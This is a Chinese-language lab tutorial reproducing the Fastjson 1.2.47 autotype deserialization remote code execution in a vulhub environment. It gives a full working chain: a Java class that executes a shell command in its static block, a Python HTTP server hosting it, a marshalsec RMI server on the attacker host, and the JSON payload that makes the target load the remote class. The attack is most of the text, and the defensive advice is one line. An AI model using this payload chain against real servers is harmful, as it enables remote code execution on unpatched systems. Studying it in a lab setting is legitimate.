读者需知本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任
一、 简介
Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列 化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson提供了autotype功能,允许用户在反序列化数据中通过"@type"指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流 程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的"Gadget"),则会造成一些严重的安全问题。
二、 影响版本
Fastjson1.2.47 <= 1.2.47
三、复现步骤
本文复现环境为攻击机kali(234),目标机为ubuntu(154)
1、环境搭建
环境搭建利用vulhub中的对应环境进行复现
然后
docker-compose up -d
进行环境搭建
2、创建一个java文件,并对其进行编译
#TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
3、编译完成后,class所在目录下起一个python服务
python3 -m http.server 1111
4、然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests
如果安装过程中出现
请参考我上一篇文章解决
装好之后,进入target目录运行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxx.xxx.xxx.234:1111/#TouchFile" 9999
5、目标机发送请求包
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxx.xxx.xxx.234:9999/TouchFile",
"autoCommit":true
}
}
6、查看响应结果
到此,即复现成功
四、 风险危害
任意文件上传
shell后门连接
管理员权限获取
五、排查建议
更新到最新版本



